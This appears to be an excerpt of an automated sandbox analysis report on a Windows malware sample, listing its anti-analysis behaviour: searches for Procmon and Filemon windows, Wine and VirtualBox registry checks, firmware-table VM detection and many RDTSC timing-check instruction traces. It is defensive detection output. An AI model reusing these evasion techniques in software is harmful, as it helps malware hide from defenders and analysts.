Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60C53 push 051AA7B8h; mov dword ptr [esp], ebp	0_2_05D64E52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D60C62 push ebx; mov dword ptr [esp], 1A747CFFh	0_2_05D65028
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05D62417 push edx; mov dword ptr [esp], 3418E570h	0_2_05D629E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA4C16 push ecx; mov dword ptr [esp], 60AB94CFh	0_2_05DA505B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05DA4C16 push 70CF66E8h; mov dword ptr [esp], ebx	0_2_05DA51D0

Source: file.exe	Static PE information: section name: entropy: 7.975138897205294
Source: file.exe	Static PE information: section name: kcjzlwkt entropy: 7.953160073987712

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 271749 second address: 27174D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27174D second address: 271781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1910516D68h 0x0000000b pushad 0x0000000c jng 00007F1910516D56h 0x00000012 jmp 00007F1910516D5Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 271781 second address: 271789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26B8B1 second address: 26B8B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26B8B5 second address: 26B8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2707F0 second address: 270810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F1910516D65h 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270810 second address: 27081B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27081B second address: 27085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F1910516D6Dh 0x0000000b jmp 00007F1910516D67h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F1910516D5Ah 0x00000018 jmp 00007F1910516D5Ah 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27085A second address: 27085E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270B18 second address: 270B20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270B20 second address: 270B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F19111E380Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270B35 second address: 270B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CA5 second address: 270CAF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CAF second address: 270CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F1910516D56h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CBB second address: 270CE0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007F19111E3806h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F19111E380Dh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CE0 second address: 270CEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CEC second address: 270CF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F19111E3806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270CF6 second address: 270CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 270FAD second address: 270FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F19111E380Eh 0x0000000e je 00007F19111E380Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F19111E3806h 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 27384C second address: 273852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273852 second address: 273874 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F19111E3813h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273874 second address: 273893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273893 second address: 2738B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E380Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F19111E380Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2738B4 second address: 2738CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2738CC second address: 2738D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273B91 second address: 273B9B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1910516D5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273BDF second address: 273BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273CE7 second address: 273CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273CEE second address: 273D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jns 00007F19111E380Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007F19111E380Ah 0x00000018 jmp 00007F19111E380Ch 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273D28 second address: 273D2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273D2E second address: 273D69 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19111E3808h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F19111E380Eh 0x00000015 pop eax 0x00000016 and dl, FFFFFF86h 0x00000019 mov ecx, dword ptr [ebp+122D1FA1h] 0x0000001f lea ebx, dword ptr [ebp+1245E788h] 0x00000025 add esi, dword ptr [ebp+122D3A45h] 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 273D69 second address: 273D73 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291771 second address: 291785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E380Dh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29192B second address: 291935 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1910516D56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291D78 second address: 291D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3814h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291D92 second address: 291DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F1910516D56h 0x0000000b jmp 00007F1910516D60h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 291DB4 second address: 291DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 292198 second address: 29219E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29219E second address: 2921A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2921A4 second address: 2921B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jne 00007F1910516D56h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 292494 second address: 292498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 292498 second address: 29249E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29249E second address: 2924A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F19111E3806h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2924A8 second address: 2924AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26368C second address: 263690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 263690 second address: 263696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 293038 second address: 29303C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2931DA second address: 2931F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1910516D62h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2931F5 second address: 2931F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2931F9 second address: 293221 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1910516D56h 0x00000008 jmp 00007F1910516D65h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnl 00007F1910516D56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 293221 second address: 293256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F19111E3813h 0x0000000c pushad 0x0000000d jmp 00007F19111E380Dh 0x00000012 jmp 00007F19111E380Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 293256 second address: 293263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F1910516D56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 265083 second address: 26508F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F19111E3806h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26508F second address: 26509B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F1910516D56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 26509B second address: 2650BB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F19111E380Eh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 298212 second address: 298216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFDF second address: 25AFE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFE4 second address: 25AFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFEA second address: 25AFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFF2 second address: 25AFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 25AFFE second address: 25B004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29AEF9 second address: 29AEFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2996D4 second address: 2996D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B03F second address: 29B06D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1910516D56h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jp 00007F1910516D58h 0x00000016 push ebx 0x00000017 jmp 00007F1910516D5Ah 0x0000001c pop ebx 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B06D second address: 29B072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B072 second address: 29B098 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1910516D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F1910516D58h 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B098 second address: 29B0AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E380Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B0AA second address: 29B0D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jc 00007F1910516D5Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B0D2 second address: 29B0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29B0DA second address: 29B0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A0E51 second address: 2A0E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1148 second address: 2A1153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F1910516D56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1153 second address: 2A115F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1F62 second address: 2A1F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1F6D second address: 2A1F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A25B9 second address: 2A25BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A25BD second address: 2A25C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2680 second address: 2A268B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F1910516D56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A274A second address: 2A2758 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2758 second address: 2A2777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1910516D63h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2777 second address: 2A2790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3815h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2790 second address: 2A27A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D60h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A328F second address: 2A3293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A3293 second address: 2A3299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A37BB second address: 2A37C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A37C1 second address: 2A37C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A37C5 second address: 2A37C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A40FA second address: 2A4114 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1910516D65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
